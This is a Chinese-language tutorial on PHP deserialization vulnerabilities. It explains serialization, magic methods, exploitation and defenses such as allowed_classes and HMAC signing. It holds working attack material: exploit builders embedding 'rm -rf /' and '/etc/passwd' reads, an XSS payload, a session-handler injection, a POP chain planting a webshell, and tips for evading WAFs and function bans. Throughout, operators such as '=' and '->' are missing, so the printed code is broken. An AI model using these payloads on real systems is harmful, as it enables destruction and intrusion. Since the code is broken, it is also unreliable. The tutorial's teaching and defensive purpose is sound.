1. 项目概述为什么我们需要深入理解PHP序列化漏洞如果你是一名PHP开发者或者对Web安全感兴趣那么“序列化漏洞”这个词你一定不陌生。它就像潜伏在代码深处的幽灵平时不声不响一旦被触发就可能让整个应用门户大开。我见过太多因为一个unserialize($_GET[‘data’])而全线崩溃的案例也亲手挖掘和修复过不少这类问题。今天我想从一个一线开发者和安全研究者的双重角度带你从最基础的序列化原理开始一步步拆解PHP序列化漏洞的成因、利用手法并最终通过一个完整的实战案例让你不仅能看懂更能亲手复现和防御这种漏洞。这不仅仅是CTF比赛里的考点更是真实业务开发中必须警惕的安全红线。简单来说PHP序列化漏洞的核心在于开发者信任了用户可控的序列化字符串并在反序列化过程中意外触发了对象中的“魔术方法”从而执行了恶意代码。整个过程涉及PHP对象生命周期、魔术方法的自动调用、以及序列化字符串的构造艺术。无论是想加固自己的代码还是踏入安全研究领域这都是绕不开的一课。接下来我会假设你具备基础的PHP语法知识我们将从零开始构建起关于这个漏洞的完整知识体系。2. 核心原理拆解序列化、反序列化与魔术方法要理解漏洞必须先理解其依赖的机制。PHP序列化漏洞的舞台搭建在三个核心概念之上序列化Serialization、反序列化Unserialization和魔术方法Magic Methods。2.1 序列化与反序列化数据的“冰封”与“解冻”你可以把序列化想象成“冰封”一个对象。程序运行时对象及其属性数据存在于内存中。当我们需要把这个对象保存到文件、数据库或者通过网络发送给另一个进程时就需要把它转换成一种通用的、线性的字符串格式这个过程就是序列化。反之从字符串重新构建出内存中的对象就是反序列化即“解冻”。PHP通过serialize()和unserialize()两个函数完成这一转换。让我们看一个最基础的例子class UserProfile { public $username ‘guest’; public $isAdmin false; } $user new UserProfile(); $user-username ‘alice’; $user-isAdmin true; // 序列化对象 - 字符串 $serializedString serialize($user); echo $serializedString; // 输出O:11:“UserProfile”:2:{s:8:“username”;s:5:“alice”;s:7:“isAdmin”;b:1;}这段序列化字符串O:11:“UserProfile”:2:{s:8:“username”;s:5:“alice”;s:7:“isAdmin”;b:1;}就是对象的“身份证”。我们来拆解一下O代表这是一个对象Object。如果是数组这里会是A。11类名UserProfile的长度。“UserProfile”类名。2对象属性的数量。{…}花括号内是所有属性的键值对。s:8:“username”;s表示字符串string8是键名“username”的长度。s:5:“alice”;值“alice”长度为5的字符串。s:7:“isAdmin”;键名“isAdmin”。b:1;b表示布尔值boolean1代表true。反序列化就是把这个字符串“复活”$restoredUser unserialize(‘O:11:“UserProfile”:2:{s:8:“username”;s:5:“alice”;s:7:“isAdmin”;b:1;}’); var_dump($restoredUser); // 输出object(UserProfile)#2 (2) { [“username”] string(5) “alice” [“isAdmin”] bool(true) }这个过程本身是安全的。危险来自于我们接下来要讲的“魔术方法”。2.2 魔术方法对象生命周期的“自动触发器”魔术方法是PHP面向对象编程中一组以双下划线__开头的方法它们会在对象的特定生命周期节点被自动调用无需开发者显式执行。在反序列化漏洞中以下几个方法是关键角色__wakeup()当一个对象被unserialize()反序列化时如果该对象所属的类定义了此方法则__wakeup()会首先被自动调用。它常用于重新建立数据库连接、初始化资源等。__destruct()当对象被销毁时如脚本执行结束、对象被unset()或没有引用指向它时自动调用。常用于关闭文件句柄、释放网络连接等清理工作。__toString()当对象被当作字符串处理时如echo $obj,$obj . ‘test’,strval($obj)自动调用。__sleep()在对象被serialize()序列化之前自动调用。它可以返回一个数组指定哪些属性应该被序列化。注意这里有一个非常重要的细节也是新手常混淆的点。__construct()构造函数在对象通过new关键字实例化时调用但在通过unserialize()“复活”一个对象时__construct()是不会被调用的对象是从序列化字符串中直接还原其状态。而__wakeup()正是为了弥补反序列化时缺少初始化步骤而设计的。漏洞的根源就在于攻击者可以构造一个恶意的序列化字符串。当这个字符串被unserialize()处理时会还原出一个攻击者控制的对象。如果这个对象的类定义了上述魔术方法并且方法内的代码依赖于对象的属性那么攻击者通过控制这些属性就能操控魔术方法的行为从而可能执行任意代码。2.3 访问控制修饰符对序列化的影响在构造利用链时属性的可见性public, protected, private会影响序列化字符串的格式必须正确处理否则反序列化会失败。class Test { public $pub ‘public’; protected $pro ‘protected’; private $pri ‘private’; } $obj new Test(); echo serialize($obj); // 输出O:4:“Test”:3:{s:3:“pub”;s:6:“public”;s:6:“*pro”;s:9:“protected”;s:9:“Testpri”;s:7:“private”;}Public ($pub)直接显示属性名s:3:“pub”。Protected ($pro)属性名变成s:6:“*pro”。这里的*是一个字面量字符但前后各有一个空字节%00在字符串长度6中包含了这两个空字节。在URL或处理时需要注意编码。Private ($pri)属性名变成s:9:“Testpri”。格式为%00类名%00属性名这里的9也包含了两个空字节的长度。实操心得当你从外部比如通过GET参数接收构造一个序列化字符串去利用一个私有或受保护属性时你必须严格按照这个格式来写属性名包括空字节。在URL中空字节%00需要被编码为%00。很多利用失败的原因就是属性名格式不对导致反序列化后属性无法正确赋值魔术方法里的代码也就无法按预期执行。3. 漏洞利用实战从简单代码执行到POP链构造理解了原理我们进入实战环节。我会由浅入深展示几种典型的利用场景。3.1 场景一直接代码执行__destruct或__wakeup这是最直观的漏洞形态。存在漏洞的代码如下// vuln.php class VulnerableClass { public $cmd ‘whoami’; function __destruct() { system($this-cmd); // 危险直接执行系统命令 } } // 用户可控的反序列化入口 $data $_GET[‘data’]; $obj unserialize($data);攻击者可以这样利用本地构造利用代码// exploit.php class VulnerableClass { public $cmd; } $obj new VulnerableClass(); $obj-cmd ‘rm -rf /’; // 或任意其他命令如 ‘cat /etc/passwd’ echo urlencode(serialize($obj)); // 输出O:16:“VulnerableClass”:1:{s:3:“cmd”;s:8:“rm -rf /”;}发起攻击访问http://target.com/vuln.php?dataO:16:“VulnerableClass”:1:{s:3:“cmd”;s:8:“rm -rf /”;}。触发漏洞脚本执行完毕或$obj被销毁时__destruct()被自动调用执行了system(‘rm -rf /’)。__wakeup()的绕过技巧CVE-2016-7124 如果上述类中用的是__wakeup()来执行命令并且开发者试图在__wakeup()里做安全检查历史上存在一个经典的绕过方法class VulnerableClass { public $cmd ‘id’; function __wakeup() { // 开发者可能在这里重置$cmd试图防御 $this-cmd ‘safe_command’; // 但下面依然有危险操作 system($this-cmd); } }在PHP 5.6.25之前和7.0.10之前存在一个特性当序列化字符串中表示对象属性数量的值大于真实的属性数量时__wakeup()方法会被跳过。正常序列化O:16:“VulnerableClass”:1:{s:3:“cmd”;s:2:“id”;}属性数量为1绕过序列化O:16:“VulnerableClass”:2:{s:3:“cmd”;s:2:“id”;}将属性数量改为2 这样__wakeup()中的重置操作就不会执行system(‘id’)会被直接触发。虽然这个漏洞在后续PHP版本中已修复但在代码审计和CTF中仍是常见考点。3.2 场景二使用内置类进行无POP链攻击__toString有时代码中存在反序列化点但我们找不到合适的、定义了危险魔术方法的自定义类来构造利用链即POP链。这时可以转向PHP的内置类。Error和Exception类在PHP 7环境中非常有用因为它们都实现了__toString()方法。利用场景存在反序列化并且后续有echo、str_replace、preg_match等将对象当作字符串使用的操作。// vuln_toString.php $data $_GET[‘data’]; $obj unserialize($data); echo $obj; // 这里触发了 __toString()攻击者可以构造一个Error或Exception对象其message属性包含恶意Payload如XSS代码// build_payload.php $payload ‘scriptalert(document.domain)/script’; $obj new Error($payload); // 或 new Exception($payload) echo urlencode(serialize($obj)); // 生成一长串编码后的字符串将生成的Payload作为data参数传递当echo $obj执行时会调用Error对象的__toString()方法该方法会输出包含message的字符串从而将script标签输出到页面造成XSS攻击。这在某些无法直接写入文件或执行命令但能触发反序列化echo的场景下是一种有效的攻击路径。3.3 场景三SESSION反序列化漏洞引擎差异导致的攻击这是PHP序列化漏洞中一个非常经典且容易在真实环境中出现的类型。其根源在于Session序列化处理器serialize_handler的不一致。PHP默认使用php处理器存储Session。但从PHP 5.5.4起引入了php_serialize处理器。它们的存储格式不同php处理器存储格式为键名|序列化后的值。例如$_SESSION[‘user’] ‘alice’;会存为user|s:5:“alice”;。php_serialize处理器存储格式为序列化后的整个$_SESSION数组。例如存为a:1:{s:4:“user”;s:5:“alice”;}。漏洞产生条件一个文件A使用php_serialize处理器例如通过ini_set(‘session.serialize_handler’, ‘php_serialize’);来写入Session。另一个文件B使用默认的php处理器来读取Session。攻击者可以向文件A传入可控的Session数据。攻击过程攻击者构造Payload|O:5:“Lemon”:1:{s:2:“hi”;s:10:“phpinfo();”;}注意最前面的竖杠|这是php处理器的分隔符。向文件A发送Payload假设文件A的代码是$_SESSION[‘data’] $_GET[‘input’];且使用php_serialize。Session文件内容会被存储为a:1:{s:4:“data”;s:48:“|O:5:“Lemon”:1:{s:2:“hi”;s:10:“phpinfo();”;}”;}文件B读取Session文件B使用默认的php处理器。它会将竖杠|之前的内容当作键key之后的内容当作值value进行反序列化。它看到的是键a:1:{s:4:“data”;s:48:“ 值O:5:“Lemon”:1:{s:2:“hi”;s:10:“phpinfo();”;}”;}于是它会尝试反序列化值部分即O:5:“Lemon”:1:{s:2:“hi”;s:10:“phpinfo();”;}成功创建了一个Lemon类的对象。触发漏洞如果Lemon类定义了__wakeup()或__destruct()方法且方法中使用了$this-hi那么phpinfo();就会被执行。注意事项这种攻击通常需要结合“Session上传进度”session.upload_progress或其它能够向$_SESSION写入可控数据的技巧因为通常我们无法直接修改$_SESSION变量。session.upload_progress特性允许我们在上传文件时通过POST一个同名变量PHP_SESSION_UPLOAD_PROGRESS来向当前Session写入数据这为利用此类漏洞提供了可能。3.4 场景四构造POP链面向属性编程攻击现实中的漏洞很少像场景一那样“赤裸裸”。更常见的情况是危险函数如eval(),system()存在于某个类的魔术方法A中但反序列化入口点无法直接实例化这个类。或者危险函数依赖的对象属性需要通过其他类的魔术方法B来赋值。这时就需要我们像玩多米诺骨牌一样将多个类的魔术方法“链”起来这就是POPProperty-Oriented Programming链攻击。实战案例拆解 假设我们有如下三个类class FileManager { public $filename; function __destruct() { // 危险操作删除文件但文件名我们似乎控制不了 if (file_exists($this-filename)) { unlink($this-filename); } } } class Logger { public $logContent; public $printer; function __toString() { // 当Logger对象被当作字符串时会调用$printer的output方法 if (isset($this-printer)) { return $this-printer-output($this-logContent); } return $this-logContent; } } class TemplateEngine { public $tpl; function output($data) { // 极度危险将数据直接拼接进eval eval(‘echo “‘ . $this-tpl . ‘“;’); // 假设$tpl是 ‘?php ‘ . $data . ‘ ?‘ } }单独看FileManager::__destruct只是删文件Logger::__toString只是返回内容TemplateEngine::output虽然危险但没人调用。但如果我们能构造一个对象让它们的执行流串联起来呢构造POP链的思路最终目标执行eval()需要控制TemplateEngine-tpl。触发点FileManager-__destruct在对象销毁时自动触发。连接桥梁在__destruct中如果$this-filename是一个Logger对象那么file_exists($this-filename)会试图将Logger对象转为字符串触发__toString。二次跳转在Logger-__toString中如果$this-printer是一个TemplateEngine对象那么$this-printer-output(...)就会被调用。达成攻击TemplateEngine-output中的eval被执行我们可以通过Logger-logContent间接控制eval的参数。构造恶意序列化字符串// pop_chain_build.php class FileManager { public $filename; } class Logger { public $logContent; public $printer; } class TemplateEngine { public $tpl; } $tpl new TemplateEngine(); $tpl-tpl ‘?php system($_GET[“cmd”]); ?‘; // 恶意模板 $logger new Logger(); $logger-logContent ‘anything’; // 这个内容会被传入output但在这个例子中tpl是写死的logContent不影响最终代码。 $logger-printer $tpl; $fileManager new FileManager(); $fileManager-filename $logger; // 关键将对象赋值给属性 echo serialize($fileManager); // 得到一个复杂的序列化字符串其中嵌套了三个对象。当这个字符串被反序列化后会得到一个FileManager对象其filename属性指向一个Logger对象而Logger对象的printer又指向一个TemplateEngine对象。脚本结束时FileManager对象销毁触发__destruct- 尝试对Logger对象做file_exists- 触发Logger::__toString- 调用$printer-output()即TemplateEngine::output- 执行eval中的恶意代码。4. 漏洞挖掘、防御与实战演练4.1 如何挖掘PHP反序列化漏洞代码审计白盒搜索危险函数全局搜索unserialize(找到所有用户输入可控的反序列化入口点。分析上下文检查反序列化参数是否来自$_GET,$_POST,$_COOKIE等用户可控来源。寻找魔术方法在代码库中搜索__wakeup,__destruct,__toString,__call,__get,__set等。分析这些方法内部是否存在危险操作如eval(),system(),file_put_contents()等。绘制类关系图分析类之间的依赖和属性类型寻找可能的POP链连接点。关注那些将其他类实例作为属性的类。检查Session处理器搜索session.serialize_handler或ini_set看是否存在处理器不一致的情况。黑盒测试参数探测对所有接收参数的点尝试提交序列化字符串的常见特征如O:8:,a:2:{观察服务器响应是否有差异如报错信息变化、延迟等。错误信息利用如果提交畸形序列化字符串导致PHP报错错误信息中可能会泄露网站路径、类名等关键信息辅助构造利用链。配合文件上传如果网站有上传功能尝试利用session.upload_progress向Session写入数据测试SESSION反序列化漏洞。4.2 如何防御PHP反序列化漏洞防御的核心原则是不要反序列化不可信的数据。首选方案避免使用反序列化考虑使用更安全的替代方案如JSONjson_encode/json_decode进行数据交换。JSON格式没有自动执行代码的能力。严格校验输入如果必须使用反序列化应对输入进行严格的白名单过滤。校验类名只允许反序列化预期的、安全的类。可以使用allowed_classes参数PHP 7.0。// 只允许反序列化MySafeClass和AnotherSafeClass $data unserialize($userInput, [‘allowed_classes’ [‘MySafeClass’, ‘AnotherSafeClass’]]); // 或者完全禁止所有类对象只反序列化基本类型数组、字符串等 $data unserialize($userInput, [‘allowed_classes’ false]);数字签名/验签对于序列化后的数据在存储或传输前使用HMAC等算法生成签名。在反序列化前先验证签名是否被篡改。$secretKey ‘your-secret-key’; // 序列化并签名 $serialized serialize($obj); $signature hash_hmac(‘sha256’, $serialized, $secretKey); $storableData $signature . ‘.’ . $serialized; // 反序列化前验签 list($receivedSig, $receivedData) explode(‘.’, $input, 2); if (hash_equals(hash_hmac(‘sha256’, $receivedData, $secretKey), $receivedSig)) { $obj unserialize($receivedData); } else { die(‘Data tampered!’); }在魔术方法中避免危险操作检查__wakeup()和__destruct()等方法确保其中没有将对象属性直接用于执行代码、文件操作、数据库查询等危险行为。如果必须使用应对属性值进行严格的过滤和验证。保持Session处理器一致确保整个应用使用同一种Session序列化处理器最好是php_serialize因为它更安全且是PHP 7的默认方向避免因混合使用导致的解析差异漏洞。及时更新PHP版本新版本PHP会修复已知的反序列化相关漏洞如__wakeup绕过漏洞CVE-2016-7124。4.3 实战环境搭建与漏洞复现为了真正理解我强烈建议你在本地或安全的测试环境中搭建靶场进行复现。以下是基于Docker的快速搭建步骤准备漏洞代码创建一个vuln.php文件内容如下一个简单的__destruct漏洞?php class Backdoor { public $command ‘echo “Hello”’; public function __destruct() { system($this-command); } } if (isset($_GET[‘input’])) { $obj unserialize($_GET[‘input’]); } echo “Page loaded.”; ?使用Docker运行# 拉取一个包含PHP的镜像例如PHP 7.4 docker run -d --name php-test -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache将vuln.php放在当前目录它会被映射到容器的Web根目录。构造攻击Payload?php class Backdoor { public $command; } $obj new Backdoor(); $obj-command ‘ls -la /’; // 列出根目录 echo ‘Payload: ‘ . urlencode(serialize($obj)); // 输出类似O%3A8%3A%22Backdoor%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A8%3A%22ls-la%2F%22%3B%7D ?发起攻击在浏览器中访问http://localhost:8080/vuln.php?inputO%3A8%3A%22Backdoor%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A8%3A%22ls-la%2F%22%3B%7D。观察结果页面除了输出“Page loaded.”还会在后台执行ls -la /命令。由于system()的输出默认直接显示你可以在HTML源码或服务器日志中看到命令执行的结果。重要警告此实验仅用于合法的安全学习和测试必须在你自己完全可控的环境中进行。严禁对任何未经授权的系统进行测试。5. 高级技巧与疑难问题排查在实际研究和CTF比赛中你会遇到更复杂的情况。这里分享一些进阶技巧和排查思路。5.1 处理私有和受保护属性当你从外部构造Payload时必须正确处理私有private和受保护protected属性的序列化格式。否则反序列化后这些属性将是null导致利用链断裂。手动构造在序列化字符串中私有属性名格式为%00类名%00属性名受保护属性为%00*%00属性名。在URL中%00需要编码。编程构造更可靠的方法是在本地用相同的类定义或模拟类定义生成Payload。class Target { private $secret; protected $flag; } // 方法一使用反射强制设置值再序列化如果类已定义 $obj new Target(); $reflection new ReflectionClass($obj); $privateProp $reflection-getProperty(‘secret’); $privateProp-setAccessible(true); $privateProp-setValue($obj, ‘malicious_value’); // 类似地处理protected属性... echo serialize($obj); // 方法二使用PHP内置的序列化器推荐更通用 // 我们可以创建一个“假”的类来生成正确格式的字符串 class FakeTarget { private $secret; protected $flag; public function __construct($s, $f) { $this-secret $s; $this-flag $f; } } $fake new FakeTarget(‘malicious_secret’, ‘malicious_flag’); echo serialize($fake); // 输出中的属性名格式就是正确的。5.2 利用Phar协议进行反序列化Phar反序列化漏洞这是一个非常强大的攻击向量甚至可以在没有明显unserialize()函数的情况下触发反序列化。PharPHP Archive文件包含元数据metadata这部分数据在序列化后存储。当PHP操作Phar文件时如file_exists(‘phar://…’)、include(‘phar://…’)其元数据会被自动反序列化。利用条件存在文件操作函数如file_get_contents(),include(),is_file()等且参数部分可控。可以上传或控制服务器上的一个文件不一定是.phar后缀因为Phar流包装器不检查后缀只检查文件内容格式。该文件操作函数的参数能以phar://协议开头。利用步骤构造一个包含恶意序列化元数据的Phar文件。通过文件上传等方式将该文件放到服务器上。触发一个文件操作函数其参数指向phar://path/to/your/file即使文件后缀是.jpg。PHP在解析Phar文件时会反序列化元数据从而触发POP链。5.3 常见问题排查清单在复现或利用反序列化漏洞时如果失败可以按以下清单排查问题现象可能原因排查步骤反序列化后对象属性为空1. 属性可见性private/protected格式错误。2. 类未定义或自动加载失败。1. 检查序列化字符串中私有/受保护属性的格式是否正确包含%00。2. 确保目标环境中存在Payload中用到的类定义或者使用PHP内置类如stdClass。魔术方法未触发1.__wakeup()被绕过问题已修复PHP版本过高。2. 对象未被销毁__destruct不触发。3. 利用链中断。1. 检查PHP版本。对于__wakeup绕过尝试其他入口点如__toString,__call。2. 确保脚本正常结束或主动unset()对象。3. 逐步调试在POP链的每个魔术方法中加入echo或写日志确认执行流。代码执行了但无效果1. 命令被禁用如system()在disable_functions中。2. 当前Web服务用户权限不足。3. 存在WAF或过滤。1. 尝试使用phpinfo()探测环境或使用其他函数如shell_exec()、反引号、passthru()。2. 尝试读取文件file_get_contents(‘/etc/passwd’)或写入Webshell。3. 尝试编码、混淆命令或使用非命令执行的方式如写入日志、触发错误等。无法上传或写入Phar文件1. 服务器配置禁止上传特定内容。2.phar.readonly配置为On影响生成不影响利用。1. 检查上传过滤尝试修改文件头、使用图片马等绕过。2. 在攻击机上生成Phar文件再上传。确保phar.readonly0仅在生成端需要。5.4 工具推荐PHPGGC (PHP Generic Gadget Chains)一个强大的工具收集了各种PHP框架和库如Laravel, Symfony, ThinkPHP等中已知的、可用的POP链。当你面对一个使用了流行框架的应用时可以尝试用PHPGGC生成Payload能极大提高效率。代码审计工具虽然不能完全依赖但像RIPS、SonarQube等静态代码分析工具可以帮助快速定位项目中的unserialize()调用点。自定义调试脚本在复杂POP链构造时写一个简单的PHP脚本逐步实例化对象、设置属性、序列化并输出中间结果是最高效的调试方式。从我多年的经验来看理解PHP序列化漏洞的关键在于转变思维从“数据”视角切换到“对象与代码执行”的视角。一个看似无害的字符串在unserialize()的作用下可以重新激活一个包含危险逻辑的对象。防御的关键也在于此要么彻底杜绝反序列化不可信数据要么将其限制在绝对安全的沙箱内。希望这篇从原理到实战的长文能帮你建立起对这类漏洞立体而深入的理解。在安全的世界里知其然更要知其所以然这才是应对千变万化攻击的不二法门。